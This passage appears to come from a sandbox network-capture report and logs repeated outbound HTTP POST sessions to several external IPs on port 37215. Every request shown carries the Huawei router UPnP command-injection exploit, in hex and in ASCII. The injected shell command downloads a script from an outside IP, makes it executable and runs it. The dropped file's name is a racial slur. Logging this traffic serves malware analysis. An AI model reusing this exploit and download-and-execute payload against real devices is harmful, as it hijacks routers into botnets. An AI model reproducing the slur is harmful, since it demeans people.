Feb 19, 2024 18:38:00.738473892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.15	53528	156.247.19.176	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:00.828361988 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:05.088351011 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:11.232244968 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.15	36628	156.224.8.94	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:00.828840017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:05.088356018 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:11.232232094 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.15	40124	94.123.55.249	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.112379074 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.15	38754	94.121.100.28	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:01.112818956 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 